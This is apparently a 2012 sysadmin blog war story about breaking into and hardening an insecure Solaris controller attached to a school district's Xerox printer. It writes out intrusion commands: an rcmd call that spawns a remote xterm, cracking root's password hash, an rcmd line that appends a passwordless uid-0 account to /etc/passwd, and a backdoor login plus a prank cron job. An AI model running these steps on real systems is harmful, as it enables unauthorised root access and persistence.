Software, technology, sysadmin war stories, and more. Feed
Tuesday, February 28, 2012

My encounter with a turnkey Solaris box

At one point during my sysadmin days at that school district, they decided to buy a very large Xerox Docuprint device for the print shop. It was something like 15-20 feet long and just looked imposing the second you walked in the door. That would have been uneventful except for the fact that it had some interesting hardware attached.

There was a Solaris box perched on top that supposedly was for job control, and some kind of Windows machine next to it then handled everything else. I didn't get the specifics of how that much worked, and didn't really care, until one day when they plugged it into my network.

Like I did with everything else attached to my network, I scanned it using the usual suite of tools. Within a few seconds, I was staring at something like five remotely exploitable holes. This would not stand on my network, so I decided to have a look to see exactly what was going on.

Actually getting into the machine was simple enough. I ran one command...

rcmd printshop "/usr/openwin/bin/xterm -display myworkstation:0.0"

... and *foop* I got an xterm running as bin on that box. This system was old enough to either not be running shadow passwords or still had old passwd entries. Either way, there was a crypted password for root in /etc/passwd, and a few seconds with JTR gave me the password: "service!".

I looked around. It had all sorts of ridiculous things. It was running some ancient sendmail, it had anonymous FTP with writable space, and so much more garbage. It was a perfect example of a system I would never ever set up.

It turned out that the Xerox rep was there, so I walked over and introduced myself. I told him that the box was full of holes and they shouldn't let such things out into the wild. By happy coincidence, I was wearing a "2600: The Hacker Quarterly" shirt that day, and he noticed it. I'm sure I left a nice impression in his mind. He basically said that I should call tech support. Okay, I could do that.

A few days later, I decided to call Xerox to figure out what was going on with this thing and find out why they had been shipping swiss cheese to customers. The exact conversation is lost to the mists of time, but it involved a lot of time on hold while the phone firewall talked to "higher level techs" since they would not talk to me directly. Out of all of this, there was one part I remember clearly:

R: Why does this system run sendmail?

X: Uhh, so you can receive mail on it.

R: It's not a shell machine, so why would you send mail to a printer?

X: Let me ask my higher level rep.

R: ...

X: It's there so you can receive mail on it.

R: So you don't know if you can submit jobs by mailing the box?

X: No, I don't.

R: ... Okay. Well, thanks, that's what I needed to know. Goodbye.

R: *clickity click* chmod 000 `which sendmail`

Nothing broke. I did a few more hole-closing things this way: turn it off and see if they holler. When they didn't, I declared victory. I added a note to the /etc/motd advising what I had done and how to contact me in case anyone from there logged in and wondered where all of their little holes had gone.

I found out later that they were only put on the network to allow people to batch-submit jobs electronically. Then I found out that it had been used a grand total of ... zero times. I assume that means they were using it as a huge glorified copier.

A couple of years after that, the topic came up in conversation. I decided to check on the machine and log in using the account I had created for myself. It wasn't there. Uh oh. Then I looked, and sendmail was back. Oh no. A full scan revealed that the machine was again wide open.

I wanted to try a different approach this time just to have some fun. First, I tried to add a new root account which was passwordless.

# ./rcmd printshop bin "echo toor::0:1:toor:/:/sbin/sh >> /etc/passwd"

(Yes, "bin" could edit /etc/passwd. I have no idea why.)

This just got me a "login incorrect" over telnet. So next, I created another uid 0 account with a crypted password and tried again.

SunOS 5.6
login: dquayle
Not on system console
Connection closed by foreign host.

Okay, so I couldn't telnet in as a uid 0 account. No big deal. I'll just make yet another account which isn't uid 0 and then hop over.

SunOS 5.6
login: hax0r
Sun Microsystems Inc.   SunOS 5.6       Generic August 1997
$ su

I wanted to do something funny with it. It seemed to have a /dev/audio device, so I decided set up a cron job to use it. First, I found a sound sample of a cow mooing. Then I converted it to .au, and stored it in a nice place. This is the resulting cron job:

*/15 * * * * /bin/cat /etc/bovine.conf > /dev/audio

Unfortunately, I never found out if it worked. I wasn't on-site and couldn't arrange a visit to the print shop at one of the scheduled times.

This box was basically created for people to mess up. It had "+" in /etc/hosts.equiv and ran the r* daemons! With that kind of configuration, it's basically saying "come on in and have some fun". Fortunately, part of my job was to do "security stuff", so all of this fell under that larger umbrella. I had never been able to do any of this before since that would have been an actual crime.

I didn't close the holes that time. I think we wound up putting the NT box and Solaris box on their own little two-machine VLAN. There was no router port sitting in that network, so they had no connection to the outside world.

There's this thing about security and firewalls at a school district which most people never seemed to understand. I'd repeat it all the time, but it never really sank in. It's really simple. The people who want to break in the most are already on the inside. By this, I meant the students and not the snarky sysadmin, of course.

Maybe they'd never seen WarGames.